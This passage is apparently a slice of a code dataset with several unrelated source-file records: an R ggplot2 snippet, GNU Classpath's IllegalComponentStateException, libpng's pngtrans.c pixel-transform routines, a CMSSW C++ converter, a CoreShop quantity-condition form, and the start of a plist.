Windows\nupdate_geom_font_defaults(family=font_es_light)\n\ncount(mpg, class) \\%>\\%\n ggplot(aes(class, n)) +\n geom_col() +\n geom_text(aes(label=n), nudge_y=3) +\n labs(x=\"Fuel efficiency (mpg)\", y=\"Weight (tons)\",\n title=\"Seminal ggplot2 bar chart example\",\n subtitle=\"A plot that is only useful for demonstration purposes\",\n caption=\"Brought to you by the letter 'g'\") +\n theme_ipsum_es(grid=\"Y\") +\n theme(axis.text.y=element_blank())\n}\n}\n"} {"text": "/* IllegalComponentStateException.java -- bad component state\n Copyright (C) 1999, 2002, 2005 Free Software Foundation, Inc.\n\nThis file is part of GNU Classpath.\n\nGNU Classpath is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2, or (at your option)\nany later version.\n\nGNU Classpath is distributed in the hope that it will be useful, but\nWITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nGeneral Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with GNU Classpath; see the file COPYING. If not, write to the\nFree Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n02110-1301 USA.\n\nLinking this library statically or dynamically with other modules is\nmaking a combined work based on this library. Thus, the terms and\nconditions of the GNU General Public License cover the whole\ncombination.\n\nAs a special exception, the copyright holders of this library give you\npermission to link this library with independent modules to produce an\nexecutable, regardless of the license terms of these independent\nmodules, and to copy and distribute the resulting executable under\nterms of your choice, provided that you also meet, for each linked\nindependent module, the terms and conditions of the license of that\nmodule. An independent module is a module which is not derived from\nor based on this library. If you modify this library, you may extend\nthis exception to your version of the library, but you are not\nobligated to do so. If you do not wish to do so, delete this\nexception statement from your version. */\n\n\npackage java.awt;\n\n/**\n * This exception is thrown when the requested operation failed because\n * a component was not in the proper state.\n *\n * @author Aaron M. Renn (arenn@urbanophile.com)\n * @status updated to 1.4\n */\npublic class IllegalComponentStateException extends IllegalStateException\n{\n /**\n * Compatible with JDK 1.0+.\n */\n private static final long serialVersionUID = -1889339587208144238L;\n\n /**\n * Create a new instance with no detailed error message.\n */\n public IllegalComponentStateException()\n {\n }\n\n /**\n * Create a new instance with the specified detailed error message.\n *\n * @param message the detailed error message\n */\n public IllegalComponentStateException(String message)\n {\n super(message);\n }\n} // class IllegalComponentStateException\n"} {"text": "\n/* pngtrans.c - transforms the data in a row (used by both readers and writers)\n *\n * Last changed in libpng 1.2.17 May 15, 2007\n * For conditions of distribution and use, see copyright notice in png.h\n * Copyright (c) 1998-2007 Glenn Randers-Pehrson\n * (Version 0.96 Copyright (c) 1996, 1997 Andreas Dilger)\n * (Version 0.88 Copyright (c) 1995, 1996 Guy Eric Schalnat, Group 42, Inc.)\n */\n\n#define PNG_INTERNAL\n#include \"png.h\"\n\n#if defined(PNG_READ_SUPPORTED) || defined(PNG_WRITE_SUPPORTED)\n#if defined(PNG_READ_BGR_SUPPORTED) || defined(PNG_WRITE_BGR_SUPPORTED)\n/* turn on BGR-to-RGB mapping */\nvoid PNGAPI\npng_set_bgr(png_structp png_ptr)\n{\n png_debug(1, \"in png_set_bgr\\n\");\n if(png_ptr == NULL) return;\n png_ptr->transformations |= PNG_BGR;\n}\n#endif\n\n#if defined(PNG_READ_SWAP_SUPPORTED) || defined(PNG_WRITE_SWAP_SUPPORTED)\n/* turn on 16 bit byte swapping */\nvoid PNGAPI\npng_set_swap(png_structp png_ptr)\n{\n png_debug(1, \"in png_set_swap\\n\");\n if(png_ptr == NULL) return;\n if (png_ptr->bit_depth == 16)\n png_ptr->transformations |= PNG_SWAP_BYTES;\n}\n#endif\n\n#if defined(PNG_READ_PACK_SUPPORTED) || defined(PNG_WRITE_PACK_SUPPORTED)\n/* turn on pixel packing */\nvoid PNGAPI\npng_set_packing(png_structp png_ptr)\n{\n png_debug(1, \"in png_set_packing\\n\");\n if(png_ptr == NULL) return;\n if (png_ptr->bit_depth < 8)\n {\n png_ptr->transformations |= PNG_PACK;\n png_ptr->usr_bit_depth = 8;\n }\n}\n#endif\n\n#if defined(PNG_READ_PACKSWAP_SUPPORTED)||defined(PNG_WRITE_PACKSWAP_SUPPORTED)\n/* turn on packed pixel swapping */\nvoid PNGAPI\npng_set_packswap(png_structp png_ptr)\n{\n png_debug(1, \"in png_set_packswap\\n\");\n if(png_ptr == NULL) return;\n if (png_ptr->bit_depth < 8)\n png_ptr->transformations |= PNG_PACKSWAP;\n}\n#endif\n\n#if defined(PNG_READ_SHIFT_SUPPORTED) || defined(PNG_WRITE_SHIFT_SUPPORTED)\nvoid PNGAPI\npng_set_shift(png_structp png_ptr, png_color_8p true_bits)\n{\n png_debug(1, \"in png_set_shift\\n\");\n if(png_ptr == NULL) return;\n png_ptr->transformations |= PNG_SHIFT;\n png_ptr->shift = *true_bits;\n}\n#endif\n\n#if defined(PNG_READ_INTERLACING_SUPPORTED) || \\\n defined(PNG_WRITE_INTERLACING_SUPPORTED)\nint PNGAPI\npng_set_interlace_handling(png_structp png_ptr)\n{\n png_debug(1, \"in png_set_interlace handling\\n\");\n if (png_ptr && png_ptr->interlaced)\n {\n png_ptr->transformations |= PNG_INTERLACE;\n return (7);\n }\n\n return (1);\n}\n#endif\n\n#if defined(PNG_READ_FILLER_SUPPORTED) || defined(PNG_WRITE_FILLER_SUPPORTED)\n/* Add a filler byte on read, or remove a filler or alpha byte on write.\n * The filler type has changed in v0.95 to allow future 2-byte fillers\n * for 48-bit input data, as well as to avoid problems with some compilers\n * that don't like bytes as parameters.\n */\nvoid PNGAPI\npng_set_filler(png_structp png_ptr, png_uint_32 filler, int filler_loc)\n{\n png_debug(1, \"in png_set_filler\\n\");\n if(png_ptr == NULL) return;\n png_ptr->transformations |= PNG_FILLER;\n png_ptr->filler = (png_byte)filler;\n if (filler_loc == PNG_FILLER_AFTER)\n png_ptr->flags |= PNG_FLAG_FILLER_AFTER;\n else\n png_ptr->flags &= ~PNG_FLAG_FILLER_AFTER;\n\n /* This should probably go in the \"do_read_filler\" routine.\n * I attempted to do that in libpng-1.0.1a but that caused problems\n * so I restored it in libpng-1.0.2a\n */\n\n if (png_ptr->color_type == PNG_COLOR_TYPE_RGB)\n {\n png_ptr->usr_channels = 4;\n }\n\n /* Also I added this in libpng-1.0.2a (what happens when we expand\n * a less-than-8-bit grayscale to GA? */\n\n if (png_ptr->color_type == PNG_COLOR_TYPE_GRAY && png_ptr->bit_depth >= 8)\n {\n png_ptr->usr_channels = 2;\n }\n}\n\n#if !defined(PNG_1_0_X)\n/* Added to libpng-1.2.7 */\nvoid PNGAPI\npng_set_add_alpha(png_structp png_ptr, png_uint_32 filler, int filler_loc)\n{\n png_debug(1, \"in png_set_add_alpha\\n\");\n if(png_ptr == NULL) return;\n png_set_filler(png_ptr, filler, filler_loc);\n png_ptr->transformations |= PNG_ADD_ALPHA;\n}\n#endif\n\n#endif\n\n#if defined(PNG_READ_SWAP_ALPHA_SUPPORTED) || \\\n defined(PNG_WRITE_SWAP_ALPHA_SUPPORTED)\nvoid PNGAPI\npng_set_swap_alpha(png_structp png_ptr)\n{\n png_debug(1, \"in png_set_swap_alpha\\n\");\n if(png_ptr == NULL) return;\n png_ptr->transformations |= PNG_SWAP_ALPHA;\n}\n#endif\n\n#if defined(PNG_READ_INVERT_ALPHA_SUPPORTED) || \\\n defined(PNG_WRITE_INVERT_ALPHA_SUPPORTED)\nvoid PNGAPI\npng_set_invert_alpha(png_structp png_ptr)\n{\n png_debug(1, \"in png_set_invert_alpha\\n\");\n if(png_ptr == NULL) return;\n png_ptr->transformations |= PNG_INVERT_ALPHA;\n}\n#endif\n\n#if defined(PNG_READ_INVERT_SUPPORTED) || defined(PNG_WRITE_INVERT_SUPPORTED)\nvoid PNGAPI\npng_set_invert_mono(png_structp png_ptr)\n{\n png_debug(1, \"in png_set_invert_mono\\n\");\n if(png_ptr == NULL) return;\n png_ptr->transformations |= PNG_INVERT_MONO;\n}\n\n/* invert monochrome grayscale data */\nvoid /* PRIVATE */\npng_do_invert(png_row_infop row_info, png_bytep row)\n{\n png_debug(1, \"in png_do_invert\\n\");\n /* This test removed from libpng version 1.0.13 and 1.2.0:\n * if (row_info->bit_depth == 1 &&\n */\n#if defined(PNG_USELESS_TESTS_SUPPORTED)\n if (row == NULL || row_info == NULL)\n return;\n#endif\n if (row_info->color_type == PNG_COLOR_TYPE_GRAY)\n {\n png_bytep rp = row;\n png_uint_32 i;\n png_uint_32 istop = row_info->rowbytes;\n\n for (i = 0; i < istop; i++)\n {\n *rp = (png_byte)(~(*rp));\n rp++;\n }\n }\n else if (row_info->color_type == PNG_COLOR_TYPE_GRAY_ALPHA &&\n row_info->bit_depth == 8)\n {\n png_bytep rp = row;\n png_uint_32 i;\n png_uint_32 istop = row_info->rowbytes;\n\n for (i = 0; i < istop; i+=2)\n {\n *rp = (png_byte)(~(*rp));\n rp+=2;\n }\n }\n else if (row_info->color_type == PNG_COLOR_TYPE_GRAY_ALPHA &&\n row_info->bit_depth == 16)\n {\n png_bytep rp = row;\n png_uint_32 i;\n png_uint_32 istop = row_info->rowbytes;\n\n for (i = 0; i < istop; i+=4)\n {\n *rp = (png_byte)(~(*rp));\n *(rp+1) = (png_byte)(~(*(rp+1)));\n rp+=4;\n }\n }\n}\n#endif\n\n#if defined(PNG_READ_SWAP_SUPPORTED) || defined(PNG_WRITE_SWAP_SUPPORTED)\n/* swaps byte order on 16 bit depth images */\nvoid /* PRIVATE */\npng_do_swap(png_row_infop row_info, png_bytep row)\n{\n png_debug(1, \"in png_do_swap\\n\");\n if (\n#if defined(PNG_USELESS_TESTS_SUPPORTED)\n row != NULL && row_info != NULL &&\n#endif\n row_info->bit_depth == 16)\n {\n png_bytep rp = row;\n png_uint_32 i;\n png_uint_32 istop= row_info->width * row_info->channels;\n\n for (i = 0; i < istop; i++, rp += 2)\n {\n png_byte t = *rp;\n *rp = *(rp + 1);\n *(rp + 1) = t;\n }\n }\n}\n#endif\n\n#if defined(PNG_READ_PACKSWAP_SUPPORTED)||defined(PNG_WRITE_PACKSWAP_SUPPORTED)\nstatic PNG_CONST png_byte onebppswaptable[256] = {\n 0x00, 0x80, 0x40, 0xC0, 0x20, 0xA0, 0x60, 0xE0,\n 0x10, 0x90, 0x50, 0xD0, 0x30, 0xB0, 0x70, 0xF0,\n 0x08, 0x88, 0x48, 0xC8, 0x28, 0xA8, 0x68, 0xE8,\n 0x18, 0x98, 0x58, 0xD8, 0x38, 0xB8, 0x78, 0xF8,\n 0x04, 0x84, 0x44, 0xC4, 0x24, 0xA4, 0x64, 0xE4,\n 0x14, 0x94, 0x54, 0xD4, 0x34, 0xB4, 0x74, 0xF4,\n 0x0C, 0x8C, 0x4C, 0xCC, 0x2C, 0xAC, 0x6C, 0xEC,\n 0x1C, 0x9C, 0x5C, 0xDC, 0x3C, 0xBC, 0x7C, 0xFC,\n 0x02, 0x82, 0x42, 0xC2, 0x22, 0xA2, 0x62, 0xE2,\n 0x12, 0x92, 0x52, 0xD2, 0x32, 0xB2, 0x72, 0xF2,\n 0x0A, 0x8A, 0x4A, 0xCA, 0x2A, 0xAA, 0x6A, 0xEA,\n 0x1A, 0x9A, 0x5A, 0xDA, 0x3A, 0xBA, 0x7A, 0xFA,\n 0x06, 0x86, 0x46, 0xC6, 0x26, 0xA6, 0x66, 0xE6,\n 0x16, 0x96, 0x56, 0xD6, 0x36, 0xB6, 0x76, 0xF6,\n 0x0E, 0x8E, 0x4E, 0xCE, 0x2E, 0xAE, 0x6E, 0xEE,\n 0x1E, 0x9E, 0x5E, 0xDE, 0x3E, 0xBE, 0x7E, 0xFE,\n 0x01, 0x81, 0x41, 0xC1, 0x21, 0xA1, 0x61, 0xE1,\n 0x11, 0x91, 0x51, 0xD1, 0x31, 0xB1, 0x71, 0xF1,\n 0x09, 0x89, 0x49, 0xC9, 0x29, 0xA9, 0x69, 0xE9,\n 0x19, 0x99, 0x59, 0xD9, 0x39, 0xB9, 0x79, 0xF9,\n 0x05, 0x85, 0x45, 0xC5, 0x25, 0xA5, 0x65, 0xE5,\n 0x15, 0x95, 0x55, 0xD5, 0x35, 0xB5, 0x75, 0xF5,\n 0x0D, 0x8D, 0x4D, 0xCD, 0x2D, 0xAD, 0x6D, 0xED,\n 0x1D, 0x9D, 0x5D, 0xDD, 0x3D, 0xBD, 0x7D, 0xFD,\n 0x03, 0x83, 0x43, 0xC3, 0x23, 0xA3, 0x63, 0xE3,\n 0x13, 0x93, 0x53, 0xD3, 0x33, 0xB3, 0x73, 0xF3,\n 0x0B, 0x8B, 0x4B, 0xCB, 0x2B, 0xAB, 0x6B, 0xEB,\n 0x1B, 0x9B, 0x5B, 0xDB, 0x3B, 0xBB, 0x7B, 0xFB,\n 0x07, 0x87, 0x47, 0xC7, 0x27, 0xA7, 0x67, 0xE7,\n 0x17, 0x97, 0x57, 0xD7, 0x37, 0xB7, 0x77, 0xF7,\n 0x0F, 0x8F, 0x4F, 0xCF, 0x2F, 0xAF, 0x6F, 0xEF,\n 0x1F, 0x9F, 0x5F, 0xDF, 0x3F, 0xBF, 0x7F, 0xFF\n};\n\nstatic PNG_CONST png_byte twobppswaptable[256] = {\n 0x00, 0x40, 0x80, 0xC0, 0x10, 0x50, 0x90, 0xD0,\n 0x20, 0x60, 0xA0, 0xE0, 0x30, 0x70, 0xB0, 0xF0,\n 0x04, 0x44, 0x84, 0xC4, 0x14, 0x54, 0x94, 0xD4,\n 0x24, 0x64, 0xA4, 0xE4, 0x34, 0x74, 0xB4, 0xF4,\n 0x08, 0x48, 0x88, 0xC8, 0x18, 0x58, 0x98, 0xD8,\n 0x28, 0x68, 0xA8, 0xE8, 0x38, 0x78, 0xB8, 0xF8,\n 0x0C, 0x4C, 0x8C, 0xCC, 0x1C, 0x5C, 0x9C, 0xDC,\n 0x2C, 0x6C, 0xAC, 0xEC, 0x3C, 0x7C, 0xBC, 0xFC,\n 0x01, 0x41, 0x81, 0xC1, 0x11, 0x51, 0x91, 0xD1,\n 0x21, 0x61, 0xA1, 0xE1, 0x31, 0x71, 0xB1, 0xF1,\n 0x05, 0x45, 0x85, 0xC5, 0x15, 0x55, 0x95, 0xD5,\n 0x25, 0x65, 0xA5, 0xE5, 0x35, 0x75, 0xB5, 0xF5,\n 0x09, 0x49, 0x89, 0xC9, 0x19, 0x59, 0x99, 0xD9,\n 0x29, 0x69, 0xA9, 0xE9, 0x39, 0x79, 0xB9, 0xF9,\n 0x0D, 0x4D, 0x8D, 0xCD, 0x1D, 0x5D, 0x9D, 0xDD,\n 0x2D, 0x6D, 0xAD, 0xED, 0x3D, 0x7D, 0xBD, 0xFD,\n 0x02, 0x42, 0x82, 0xC2, 0x12, 0x52, 0x92, 0xD2,\n 0x22, 0x62, 0xA2, 0xE2, 0x32, 0x72, 0xB2, 0xF2,\n 0x06, 0x46, 0x86, 0xC6, 0x16, 0x56, 0x96, 0xD6,\n 0x26, 0x66, 0xA6, 0xE6, 0x36, 0x76, 0xB6, 0xF6,\n 0x0A, 0x4A, 0x8A, 0xCA, 0x1A, 0x5A, 0x9A, 0xDA,\n 0x2A, 0x6A, 0xAA, 0xEA, 0x3A, 0x7A, 0xBA, 0xFA,\n 0x0E, 0x4E, 0x8E, 0xCE, 0x1E, 0x5E, 0x9E, 0xDE,\n 0x2E, 0x6E, 0xAE, 0xEE, 0x3E, 0x7E, 0xBE, 0xFE,\n 0x03, 0x43, 0x83, 0xC3, 0x13, 0x53, 0x93, 0xD3,\n 0x23, 0x63, 0xA3, 0xE3, 0x33, 0x73, 0xB3, 0xF3,\n 0x07, 0x47, 0x87, 0xC7, 0x17, 0x57, 0x97, 0xD7,\n 0x27, 0x67, 0xA7, 0xE7, 0x37, 0x77, 0xB7, 0xF7,\n 0x0B, 0x4B, 0x8B, 0xCB, 0x1B, 0x5B, 0x9B, 0xDB,\n 0x2B, 0x6B, 0xAB, 0xEB, 0x3B, 0x7B, 0xBB, 0xFB,\n 0x0F, 0x4F, 0x8F, 0xCF, 0x1F, 0x5F, 0x9F, 0xDF,\n 0x2F, 0x6F, 0xAF, 0xEF, 0x3F, 0x7F, 0xBF, 0xFF\n};\n\nstatic PNG_CONST png_byte fourbppswaptable[256] = {\n 0x00, 0x10, 0x20, 0x30, 0x40, 0x50, 0x60, 0x70,\n 0x80, 0x90, 0xA0, 0xB0, 0xC0, 0xD0, 0xE0, 0xF0,\n 0x01, 0x11, 0x21, 0x31, 0x41, 0x51, 0x61, 0x71,\n 0x81, 0x91, 0xA1, 0xB1, 0xC1, 0xD1, 0xE1, 0xF1,\n 0x02, 0x12, 0x22, 0x32, 0x42, 0x52, 0x62, 0x72,\n 0x82, 0x92, 0xA2, 0xB2, 0xC2, 0xD2, 0xE2, 0xF2,\n 0x03, 0x13, 0x23, 0x33, 0x43, 0x53, 0x63, 0x73,\n 0x83, 0x93, 0xA3, 0xB3, 0xC3, 0xD3, 0xE3, 0xF3,\n 0x04, 0x14, 0x24, 0x34, 0x44, 0x54, 0x64, 0x74,\n 0x84, 0x94, 0xA4, 0xB4, 0xC4, 0xD4, 0xE4, 0xF4,\n 0x05, 0x15, 0x25, 0x35, 0x45, 0x55, 0x65, 0x75,\n 0x85, 0x95, 0xA5, 0xB5, 0xC5, 0xD5, 0xE5, 0xF5,\n 0x06, 0x16, 0x26, 0x36, 0x46, 0x56, 0x66, 0x76,\n 0x86, 0x96, 0xA6, 0xB6, 0xC6, 0xD6, 0xE6, 0xF6,\n 0x07, 0x17, 0x27, 0x37, 0x47, 0x57, 0x67, 0x77,\n 0x87, 0x97, 0xA7, 0xB7, 0xC7, 0xD7, 0xE7, 0xF7,\n 0x08, 0x18, 0x28, 0x38, 0x48, 0x58, 0x68, 0x78,\n 0x88, 0x98, 0xA8, 0xB8, 0xC8, 0xD8, 0xE8, 0xF8,\n 0x09, 0x19, 0x29, 0x39, 0x49, 0x59, 0x69, 0x79,\n 0x89, 0x99, 0xA9, 0xB9, 0xC9, 0xD9, 0xE9, 0xF9,\n 0x0A, 0x1A, 0x2A, 0x3A, 0x4A, 0x5A, 0x6A, 0x7A,\n 0x8A, 0x9A, 0xAA, 0xBA, 0xCA, 0xDA, 0xEA, 0xFA,\n 0x0B, 0x1B, 0x2B, 0x3B, 0x4B, 0x5B, 0x6B, 0x7B,\n 0x8B, 0x9B, 0xAB, 0xBB, 0xCB, 0xDB, 0xEB, 0xFB,\n 0x0C, 0x1C, 0x2C, 0x3C, 0x4C, 0x5C, 0x6C, 0x7C,\n 0x8C, 0x9C, 0xAC, 0xBC, 0xCC, 0xDC, 0xEC, 0xFC,\n 0x0D, 0x1D, 0x2D, 0x3D, 0x4D, 0x5D, 0x6D, 0x7D,\n 0x8D, 0x9D, 0xAD, 0xBD, 0xCD, 0xDD, 0xED, 0xFD,\n 0x0E, 0x1E, 0x2E, 0x3E, 0x4E, 0x5E, 0x6E, 0x7E,\n 0x8E, 0x9E, 0xAE, 0xBE, 0xCE, 0xDE, 0xEE, 0xFE,\n 0x0F, 0x1F, 0x2F, 0x3F, 0x4F, 0x5F, 0x6F, 0x7F,\n 0x8F, 0x9F, 0xAF, 0xBF, 0xCF, 0xDF, 0xEF, 0xFF\n};\n\n/* swaps pixel packing order within bytes */\nvoid /* PRIVATE */\npng_do_packswap(png_row_infop row_info, png_bytep row)\n{\n png_debug(1, \"in png_do_packswap\\n\");\n if (\n#if defined(PNG_USELESS_TESTS_SUPPORTED)\n row != NULL && row_info != NULL &&\n#endif\n row_info->bit_depth < 8)\n {\n png_bytep rp, end, table;\n\n end = row + row_info->rowbytes;\n\n if (row_info->bit_depth == 1)\n table = (png_bytep)onebppswaptable;\n else if (row_info->bit_depth == 2)\n table = (png_bytep)twobppswaptable;\n else if (row_info->bit_depth == 4)\n table = (png_bytep)fourbppswaptable;\n else\n return;\n\n for (rp = row; rp < end; rp++)\n *rp = table[*rp];\n }\n}\n#endif /* PNG_READ_PACKSWAP_SUPPORTED or PNG_WRITE_PACKSWAP_SUPPORTED */\n\n#if defined(PNG_WRITE_FILLER_SUPPORTED) || \\\n defined(PNG_READ_STRIP_ALPHA_SUPPORTED)\n/* remove filler or alpha byte(s) */\nvoid /* PRIVATE */\npng_do_strip_filler(png_row_infop row_info, png_bytep row, png_uint_32 flags)\n{\n png_debug(1, \"in png_do_strip_filler\\n\");\n#if defined(PNG_USELESS_TESTS_SUPPORTED)\n if (row != NULL && row_info != NULL)\n#endif\n {\n png_bytep sp=row;\n png_bytep dp=row;\n png_uint_32 row_width=row_info->width;\n png_uint_32 i;\n\n if ((row_info->color_type == PNG_COLOR_TYPE_RGB ||\n (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA &&\n (flags & PNG_FLAG_STRIP_ALPHA))) &&\n row_info->channels == 4)\n {\n if (row_info->bit_depth == 8)\n {\n /* This converts from RGBX or RGBA to RGB */\n if (flags & PNG_FLAG_FILLER_AFTER)\n {\n dp+=3; sp+=4;\n for (i = 1; i < row_width; i++)\n {\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n sp++;\n }\n }\n /* This converts from XRGB or ARGB to RGB */\n else\n {\n for (i = 0; i < row_width; i++)\n {\n sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n }\n }\n row_info->pixel_depth = 24;\n row_info->rowbytes = row_width * 3;\n }\n else /* if (row_info->bit_depth == 16) */\n {\n if (flags & PNG_FLAG_FILLER_AFTER)\n {\n /* This converts from RRGGBBXX or RRGGBBAA to RRGGBB */\n sp += 8; dp += 6;\n for (i = 1; i < row_width; i++)\n {\n /* This could be (although png_memcpy is probably slower):\n png_memcpy(dp, sp, 6);\n sp += 8;\n dp += 6;\n */\n\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n sp += 2;\n }\n }\n else\n {\n /* This converts from XXRRGGBB or AARRGGBB to RRGGBB */\n for (i = 0; i < row_width; i++)\n {\n /* This could be (although png_memcpy is probably slower):\n png_memcpy(dp, sp, 6);\n sp += 8;\n dp += 6;\n */\n\n sp+=2;\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n *dp++ = *sp++;\n }\n }\n row_info->pixel_depth = 48;\n row_info->rowbytes = row_width * 6;\n }\n row_info->channels = 3;\n }\n else if ((row_info->color_type == PNG_COLOR_TYPE_GRAY ||\n (row_info->color_type == PNG_COLOR_TYPE_GRAY_ALPHA &&\n (flags & PNG_FLAG_STRIP_ALPHA))) &&\n row_info->channels == 2)\n {\n if (row_info->bit_depth == 8)\n {\n /* This converts from GX or GA to G */\n if (flags & PNG_FLAG_FILLER_AFTER)\n {\n for (i = 0; i < row_width; i++)\n {\n *dp++ = *sp++;\n sp++;\n }\n }\n /* This converts from XG or AG to G */\n else\n {\n for (i = 0; i < row_width; i++)\n {\n sp++;\n *dp++ = *sp++;\n }\n }\n row_info->pixel_depth = 8;\n row_info->rowbytes = row_width;\n }\n else /* if (row_info->bit_depth == 16) */\n {\n if (flags & PNG_FLAG_FILLER_AFTER)\n {\n /* This converts from GGXX or GGAA to GG */\n sp += 4; dp += 2;\n for (i = 1; i < row_width; i++)\n {\n *dp++ = *sp++;\n *dp++ = *sp++;\n sp += 2;\n }\n }\n else\n {\n /* This converts from XXGG or AAGG to GG */\n for (i = 0; i < row_width; i++)\n {\n sp += 2;\n *dp++ = *sp++;\n *dp++ = *sp++;\n }\n }\n row_info->pixel_depth = 16;\n row_info->rowbytes = row_width * 2;\n }\n row_info->channels = 1;\n }\n if (flags & PNG_FLAG_STRIP_ALPHA)\n row_info->color_type &= ~PNG_COLOR_MASK_ALPHA;\n }\n}\n#endif\n\n#if defined(PNG_READ_BGR_SUPPORTED) || defined(PNG_WRITE_BGR_SUPPORTED)\n/* swaps red and blue bytes within a pixel */\nvoid /* PRIVATE */\npng_do_bgr(png_row_infop row_info, png_bytep row)\n{\n png_debug(1, \"in png_do_bgr\\n\");\n if (\n#if defined(PNG_USELESS_TESTS_SUPPORTED)\n row != NULL && row_info != NULL &&\n#endif\n (row_info->color_type & PNG_COLOR_MASK_COLOR))\n {\n png_uint_32 row_width = row_info->width;\n if (row_info->bit_depth == 8)\n {\n if (row_info->color_type == PNG_COLOR_TYPE_RGB)\n {\n png_bytep rp;\n png_uint_32 i;\n\n for (i = 0, rp = row; i < row_width; i++, rp += 3)\n {\n png_byte save = *rp;\n *rp = *(rp + 2);\n *(rp + 2) = save;\n }\n }\n else if (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA)\n {\n png_bytep rp;\n png_uint_32 i;\n\n for (i = 0, rp = row; i < row_width; i++, rp += 4)\n {\n png_byte save = *rp;\n *rp = *(rp + 2);\n *(rp + 2) = save;\n }\n }\n }\n else if (row_info->bit_depth == 16)\n {\n if (row_info->color_type == PNG_COLOR_TYPE_RGB)\n {\n png_bytep rp;\n png_uint_32 i;\n\n for (i = 0, rp = row; i < row_width; i++, rp += 6)\n {\n png_byte save = *rp;\n *rp = *(rp + 4);\n *(rp + 4) = save;\n save = *(rp + 1);\n *(rp + 1) = *(rp + 5);\n *(rp + 5) = save;\n }\n }\n else if (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA)\n {\n png_bytep rp;\n png_uint_32 i;\n\n for (i = 0, rp = row; i < row_width; i++, rp += 8)\n {\n png_byte save = *rp;\n *rp = *(rp + 4);\n *(rp + 4) = save;\n save = *(rp + 1);\n *(rp + 1) = *(rp + 5);\n *(rp + 5) = save;\n }\n }\n }\n }\n}\n#endif /* PNG_READ_BGR_SUPPORTED or PNG_WRITE_BGR_SUPPORTED */\n\n#if defined(PNG_READ_USER_TRANSFORM_SUPPORTED) || \\\n defined(PNG_WRITE_USER_TRANSFORM_SUPPORTED) || \\\n defined(PNG_LEGACY_SUPPORTED)\nvoid PNGAPI\npng_set_user_transform_info(png_structp png_ptr, png_voidp\n user_transform_ptr, int user_transform_depth, int user_transform_channels)\n{\n png_debug(1, \"in png_set_user_transform_info\\n\");\n if(png_ptr == NULL) return;\n#if defined(PNG_USER_TRANSFORM_PTR_SUPPORTED)\n png_ptr->user_transform_ptr = user_transform_ptr;\n png_ptr->user_transform_depth = (png_byte)user_transform_depth;\n png_ptr->user_transform_channels = (png_byte)user_transform_channels;\n#else\n if(user_transform_ptr || user_transform_depth || user_transform_channels)\n png_warning(png_ptr,\n \"This version of libpng does not support user transform info\");\n#endif\n}\n#endif\n\n/* This function returns a pointer to the user_transform_ptr associated with\n * the user transform functions. The application should free any memory\n * associated with this pointer before png_write_destroy and png_read_destroy\n * are called.\n */\npng_voidp PNGAPI\npng_get_user_transform_ptr(png_structp png_ptr)\n{\n#if defined(PNG_USER_TRANSFORM_PTR_SUPPORTED)\n if (png_ptr == NULL) return (NULL);\n return ((png_voidp)png_ptr->user_transform_ptr);\n#else\n return (NULL);\n#endif\n}\n#endif /* PNG_READ_SUPPORTED || PNG_WRITE_SUPPORTED */\n"} {"text": "#include \"CommonTools/RecoAlgos/src/MassiveCandidateConverter.h\"\n#include \"FWCore/ParameterSet/interface/ParameterSet.h\"\n#include \"HepPDT/ParticleData.hh\"\n#include \"FWCore/Framework/interface/ESHandle.h\"\n#include <algorithm>\nusing namespace edm;\nusing namespace std;\nusing namespace converter;\n\nMassiveCandidateConverter::MassiveCandidateConverter(const edm::ParameterSet& cfg)\n : massSqr_(0), particle_(cfg.getParameter<PdtEntry>(\"particleType\")) {}\n\nvoid MassiveCandidateConverter::beginFirstRun(const EventSetup& es) {\n particle_.setup(es);\n massSqr_ = particle_.data().mass();\n massSqr_ *= massSqr_;\n}\n"} {"text": "/*\n * CoreShop.\n *\n * This source file is subject to the GNU General Public License version 3 (GPLv3)\n * For the full copyright and license information, please view the LICENSE.md and gpl-3.0.txt\n * files that are distributed with this source code.\n *\n * @copyright Copyright (c) 2015-2020 Dominik Pfaffenbauer (https://www.pfaffenbauer.at)\n * @license https://www.coreshop.org/license GNU General Public License version 3 (GPLv3)\n *\n */\n\npimcore.registerNS('coreshop.product.pricerule.conditions.quantity');\ncoreshop.product.pricerule.conditions.quantity = Class.create(coreshop.rules.conditions.abstract, {\n type: 'quantity',\n\n getForm: function () {\n\n var minQuantityValue = null;\n var maxQuantityValue = 0;\n var currencyValue = null;\n var me = this;\n\n if (this.data && this.data.minQuantity) {\n minQuantityValue = this.data.minQuantity;\n }\n\n if (this.data && this.data.maxQuantity) {\n maxQuantityValue = this.data.maxQuantity;\n }\n\n var minQuantity = new Ext.form.NumberField({\n fieldLabel: t('coreshop_condition_quantity_minQuantity'),\n name: 'minQuantity',\n value: minQuantityValue,\n minValue: 0,\n decimalPrecision: 0,\n step: 1\n });\n\n var maxQuantity = new Ext.form.NumberField({\n fieldLabel: t('coreshop_condition_quantity_maxQuantity'),\n name: 'maxQuantity',\n value: maxQuantityValue,\n minValue: 0,\n decimalPrecision: 0,\n step: 1\n });\n\n this.form = Ext.create('Ext.form.Panel', {\n items: [\n minQuantity, maxQuantity\n ]\n });\n\n return this.form;\n }\n});\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist 